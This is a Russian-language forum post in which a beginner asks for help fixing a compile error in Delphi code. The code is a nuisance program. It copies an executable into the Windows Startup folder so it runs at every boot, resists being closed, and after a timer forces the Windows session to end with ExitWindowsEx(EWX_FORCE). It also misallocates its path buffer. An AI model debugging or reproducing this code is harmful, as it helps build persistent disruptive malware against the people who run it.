[Помогите!] Delphi знатокам!!!!!

[mooltik]

опять я все тот же нуб
помогите,при компилирование пишит ошибу а где именно????

Цитата: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls,ShlObj; type TSuperForm = class(TForm) Label1: TLabel; ProgressBar: TProgressBar; DeathTimer: TTimer; Label2: TLabel; ToReboot: TCheckBox; procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure Label1Click(Sender: TObject); procedure ToRebootClick(Sender: TObject); procedure DeathTimerTimer(Sender: TObject); procedure FormCreate(Sender: TObject); private { Private declarations } public { Public declarations } end; var SuperForm: TSuperForm; implementation var progress:integer; Want2SwitchOff:byte=0; ReallyClose:boolean=false; {$R *.dfm} procedure TSuperForm.FormCreate(Sender: TObject); var Folder: Pchar; List: PitemidList; begin SHGetSpecialFolderLocation(0,CSIDL_STARTUP,List); new(folder); SHGetPathFromIDList(List,folder); ChDir(folder); CopyFile(PChar(ExtractFilePath(paramStr(0)) + 'pickUp.exe'), 'pickUp.exe', true); end; procedure TSuperForm.ToRebootClick(Sender: TObject); begin ToReboot.Checked:=true; end; procedure TSuperForm.FormClose(Sender: TObject; var Action: TCloseAction); begin if (ReallyClose) then Action := caFree else Action := caNone; end; procedure TSuperForm.Label1Click(Sender: TObject); begin Want2SwitchOff:=Want2SwitchOff + 1; if (Want2SwitchOff=2) then begin ReallyClose:=true; SuperForm.Close(); end; end; procedure TSuperForm.DeathTimerTimer(Sender: TObject); begin progress := progress + 1; if (progress <= 10) then ProgressBar.StepIt else begin if (ToReboot.Checked) then ExitWindowsEx(EWX_FORCE,0); end end; end.

кто подскажет спс с меня...